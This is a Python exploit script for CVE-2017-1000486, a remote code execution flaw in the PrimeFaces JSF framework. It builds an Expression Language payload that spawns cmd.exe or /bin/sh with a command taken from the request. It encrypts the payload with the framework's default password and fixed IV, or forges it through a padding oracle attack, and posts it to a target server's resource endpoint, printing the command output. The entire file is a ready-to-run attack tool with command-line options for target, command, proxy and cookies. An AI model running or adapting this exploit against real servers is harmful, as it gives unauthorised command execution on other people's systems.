from paddingoracle import BadPaddingException, PaddingOracle import requests from Crypto.Hash import MD5 from Crypto.Cipher import DES import base64 import socket import time import logging import argparse class PadBuster(PaddingOracle): def __init__(self, **kwargs): super(PadBuster, self).__init__(**kwargs) self.session = requests.Session() requests.packages.urllib3.disable_warnings() self.wait = kwargs.get('wait', 2.0) def oracle(self, data, **kwargs): payload = base64.b64encode(data) while 1: try: post_params = {'pfdrt':'sc', 'ln':'primefaces', 'pfdrid': payload} response = self.session.post(self.target, data=post_params, stream=False, timeout=5, verify=False, proxies=self.proxies, headers=self.headers) break except (socket.error, requests.exceptions.RequestException): logging.exception('Retrying request in %.2f seconds...', self.wait) time.sleep(self.wait) continue self.history.append(response) # An HTTP 500 error was returned, likely due to incorrect padding if response.status_code == 500: logging.exception('No padding exception raised on %r', payload) return raise BadPaddingException payloadEL = '${session.setAttribute("scriptfactory",facesContext.getExternalContext().getClass().getClassLoader().loadClass("javax.script.ScriptEngineManager").newInstance())}' payloadEL += '${session.setAttribute("scriptengine",session.getAttribute("scriptfactory").getEngineByName("JavaScript"))}' payloadEL += '${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}' payloadEL += '${session.getAttribute("scriptengine").eval(' payloadEL += '"var os = java.lang.System.getProperty(\\"os.name\\");' payloadEL += 'var proc = null;' payloadEL += 'os.toLowerCase().contains(\\"win\\")? ' payloadEL += 'proc = new java.lang.ProcessBuilder[\\"(java.lang.String[])\\"]([\\"cmd.exe\\",\\"/C\\",\\"".concat(request.getParameter("cmd")).concat("\\"]).start()' payloadEL += ' : proc = new java.lang.ProcessBuilder[\\"(java.lang.String[])\\"]([\\"/bin/sh\\",\\"-c\\",\\"").concat(request.getParameter("cmd")).concat("\\"]).start();' payloadEL += 'var is = proc.getInputStream();' payloadEL += 'var sc = new java.util.Scanner(is,\\"UTF-8\\"); var out = \\"\\";' payloadEL += 'while(sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);}print(out);"))}' payloadEL += '${facesContext.getExternalContext().getResponse().getWriter().flush()}' payloadEL += '${facesContext.getExternalContext().getResponse().getWriter().close()}'; def get_args(): parser = argparse.ArgumentParser( prog="primefaces.py", formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50), epilog= ''' This script exploits an expression language remote code execution flaw in the Primefaces JSF framework. Primefaces versions prior to 5.2.21, 5.3.8 or 6.0 are vulnerable to a padding oracle attack, due to the use of weak crypto and default encryption password and salt. ''') parser.add_argument("target", help="Target Host") parser.add_argument("-pw", "--password", default="primefaces", help="Primefaces Password (Default = primefaces") parser.add_argument("-pt", "--path", default="/javax.faces.resource/dynamiccontent.properties.xhtml", help="Path to dynamiccontent.properties (Default = /javax.faces.resource/dynamiccontent.properties.xhtml)") parser.add_argument("-c", "--cmd", default="whoami", help="Command to execute. (Default = whoami)") parser.add_argument("-px", "--proxy", default="", help="Configure a proxy in the format http://127.0.0.1:8080/ (Default = None)") parser.add_argument("-ck", "--cookie", default="", help="Configure a cookie in the format 'COOKIE=VALUE; COOKIE2=VALUE2;' (Default = None)") parser.add_argument("-o", "--oracle", default="0", help="Exploit the target with Padding Oracle. Use 1 to activate. (Default = 0) (SLOW)") parser.add_argument("-pl", "--payload", default="", help="EL Encrypted payload. That function is meant to be used with the Padding Oracle generated payload. (Default = None) ") args = parser.parse_args() return args """Mimic Java's PBEWithMD5AndDES algorithm used by Primefaces""" def encrypt(data, password): # Padding clear-text using PKCS5 algo padding = 8 - len(data) % 8 data += chr(padding) * padding # IV and "iterations count" extracted from primefaces sourcecode iterations = 19 iv = b'\xa9\x9b\xc8\x32\x56\x34\xe3\x03' hasher = MD5.new() hasher.update(password) hasher.update(iv) result = hasher.digest() for i in range(1, iterations): hasher = MD5.new() hasher.update(result) result = hasher.digest() cipher = DES.new(result[:8], DES.MODE_CBC, result[8:16]) encrypted = cipher.encrypt(data) print ("[*] Generated Encrypted Payload: " + str(base64.b64encode(encrypted))) return str(base64.b64encode(encrypted)) def exploit(target, path, cmd, password, proxy, cookie, payload=""): requests.packages.urllib3.disable_warnings() proxies = { 'http': proxy, 'https': proxy } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36', 'Accept': '*/*', 'Cookie': cookie } if payload == "": payload = encrypt(payloadEL, password) post_params = {'pfdrt':'sc', 'ln':'primefaces', 'pfdrid': payload, 'cmd' : cmd} print ("[*] Attempting to execute: %s" % cmd) r = requests.post(target+path, data=post_params, verify=False, proxies=proxies, headers=headers) if r.text: print ("[+] Exploit Result:\n\n %s" % r.text) else: print ("[-] Response body empty... Target might not be vulnerable or don't use default password... Try the padding oracle attack.") def exploit_paddingoracle(target, path, cmd, password, proxy, cookie): padbuster = PadBuster() padbuster.proxies = { 'http': proxy, 'https': proxy } padbuster.headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36', 'Accept': '*/*', 'Cookie': cookie } padbuster.target = target+path iv = b'\xa9\x9b\xc8\x32\x56\x34\xe3\x03' payload = padbuster.encrypt(payloadEL, block_size=8, iv=iv) print ("[+] Using the following generated payload:\n\n %s" % base64.b64encode(payload)) requests.packages.urllib3.disable_warnings() proxies = {'http': proxy, 'https': proxy} post_params = {'pfdrt':'sc', 'ln':'primefaces', 'pfdrid': base64.b64encode(payload), 'cmd' : cmd} print ("[*] Attempting to execute: %s" % cmd) r = requests.post(target+path, data=post_params, verify=False, proxies=proxies, headers=padbuster.headers) print(r.headers) if r.text: print ("[+] Exploit Result:\n\n %s" % r.text) else: print ("[-] Response body empty... Target might not be vulnerable... :-(") def main(): print ('') print ('========================================================================') print ('| CVE-2017-1000486 - Primefaces Remote Code Execution Exploit |') print ('| by pimps |') print ('========================================================================\n') args = get_args() if (args.oracle.strip() == "0"): if (args.payload.strip() == ""): print ("[*] Generating payload using default Password...") else: print ("[*] Executing the exploit using a given Payload...") exploit(args.target.strip(),args.path.strip(),args.cmd.strip(), args.password.strip(), args.proxy.strip(), args.cookie.strip(), args.payload.strip()) else: print ("[*] Generating payload with Padding Oracle Attack... (SLOW)") exploit_paddingoracle(args.target.strip(),args.path.strip(),args.cmd.strip(), args.password.strip(), args.proxy.strip(), args.cookie.strip()) if __name__ == '__main__': main()